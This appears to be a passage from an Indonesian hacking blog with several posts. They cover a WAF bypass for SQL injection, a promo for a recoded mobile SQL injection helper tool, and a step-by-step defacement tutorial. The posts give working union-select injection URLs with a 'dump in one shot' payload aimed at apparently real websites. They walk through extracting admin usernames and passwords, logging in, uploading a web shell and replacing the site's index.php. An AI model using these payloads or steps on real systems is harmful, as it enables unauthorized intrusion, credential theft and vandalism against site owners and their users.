Dan ternyata setelah di inject dengan dios tadi malah kena waf 412 Precondition Failed oke kita bypass.

Cara bypassnya tinggal ubah huruf f pada " from " dengan url encode seperti ini contohnya,

f=%66
%66rom

Contoh seperti berikut ini,

http://www.cruiseland.in/houseboat-package-detailed.php?id=-5+union+select+1,2,3,4,make_set(6,@:=0x0a,(select(1)%66rom(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),6,7,8,9,10--


Nah tuh lihat gambar diatas, bypass sukses. Kalo udah begini tinggal didump databasenya.

Sekian dari gue, semoga bermanfaat.

Tools Manual SQLI Helper - For Mobile

By On 6:47:00 AM


Oke pada kesempatan kali ini gw mau share Tools Manual SQLI Helper buatan dari anggota Sec7or Team.

Tapi tools ini udah gw recode biar keliatan tambah keren,
Sorry lo ya kalo belom minta izin buat ngerecode toolsnya :)

Berikut tampilannya

Untuk kalian yang suka bermain Sql injection manual, mungkin tools ini sangat membantu saat lagi inject-inject an website hehe.

Berikut ini link untuk mendownload nya Download Disini

Sekian artikel kali ini, semoga bermanfaat.

Cara Deface SQLI dengan DIOS (Dump In One Shot)

By On 1:20:00 AM


Oke setelah kemarin bahas artikel tentang Cara Deface Dengan Sql Injection Manual pada kali ini gw bakalan mau share artikel tentang Cara Deface SQLI dengan DIOS (Dump In One Shot).

Kalo di artikel kemarin kita harus masukin union select kita mesti harus memasukan group_concat dan seterusnya untuk mengetahui column dan table.

Kalo kali ini ga perlu repot-repot lagi, karena disimi gw mengunakan DIOS nanti bakalan muncul semua column dan tablenya.

Sekarang, kita langsung saja ketutorialnya.

Disini gw udah dapet target, kalo kalian belom punya dork buat dapet website vuln sqli kalian bisa baca dibawah ini.

Ini contoh target gw,
www.situs.co.il/advertiser_view.php?id=77

Lanjut kita bermain dengan order+by+1-- dan seterusnya sampai menemukan pesan error.


Disini w mendapatkan errornya di angka order+by+10-- berarti jumlah columnnya ada 9.


Ditarget gw ga ada error mysql blablabla atau error sqli yang lainnya, tapi disini errornya datanya hilang atau artikelnya kosong di bagian bawah about.(lihat gambar diatas)

Oke lanjut ketutorial berikutnya, masukan union select.
Selengkapnya seperti ini,
www.situs.co.il/advertiser_view.php?id=-77+union+select+1,2,3,4,5,6,7,8,9--


Dan mari kita lihat(gambar di atas), dibagian bawah about keluar angka magicknya atau biasa menyebutnya dengan angka ajaib
Kalo ditutorial kemarin kita harus memasukan group_concat dll kali ini enggak, tinggal kita masukan code DIOS nya saja.
Disini w milih angka 9 aja dan berikut ini code DIOS nya,
make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

Untuk perintah lengkapnya kek gini gaes,
www.situs.co.il/advertiser_view.php?id=-77+union+select+1,2,3,4,5,6,7,8,make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)--


Nah lihat itu(gambar diatas), semua column dan beserta table sudah muncul.
Yang kiri itu column kalo yang kanan itu tablenya. Tinggal kita dump deh gaes hehe.

Lanjut ke tutorial ngedumpnya ,cari nama admin atau apa yang sekiranya berbau admin.
Disini target gw nama column admin nya adalah admin dan untuk nama tablenya adalah USER_NAME dan PASSWORD bisa lihat digambar bawah ini,


Berarti kita perintahnya untuk memasukan ke code dios nya jadi gini,
www.situs.co.il/advertiser_view.php?id=-77+union+select+1,2,3,4,5,6,7,8,make_set(6,@:=0x0a,(select(1)from(admin)where@:=make_set(511,@,0x3c6c693e,USER_NAME,PASSWORD)),@)--


Dan bummmm lihat(gambar diatas), Ternyata kita berhasil ngedump username dan passwordnya.

Setelah itu tinggal cari tempat admin loginya, tapi disini gw udah tau tempat admin loginya jadi tinggal login.

Sekarang cari tempat buat upload shell, lihat gambar dibawah ini,



Setelah menemukan tempat buat upload shell, sekarang saatnya upload shell kalian.
Kalo belum punya shell kalian bisa cari dipostingan gw ada kok.
Dan disini gw udah berhasil uploadnya, liat gambar dibawah ini,


Untuk cara mengaksesnya shellnya kalian tinggal klik kanan lalu copy url dibrowser,
Untuk diandroid tinggal klik dan tahan pada shell kalian yang udah diupload tadi lalu salin url gambar,


Sekarang tinggal paste url shell tadi dibrowser dan enter, nanti shell kalian bakalan muncul.


Nah step terakhir, cari directory publick_html dan upload script deface kalian disitu dengan extensi index.php ini untuk ngedeface halaman utama website.

Kalo hanya mau nitip file saja, kalian upload script deface selain index.php bisa dengan nama test.php, test.html, dll sesuai keinginan kalian aja.

Oke sekian dulu artikel kali ini, semoga bermanfaat.

Contact Form

Name

Email *

Message *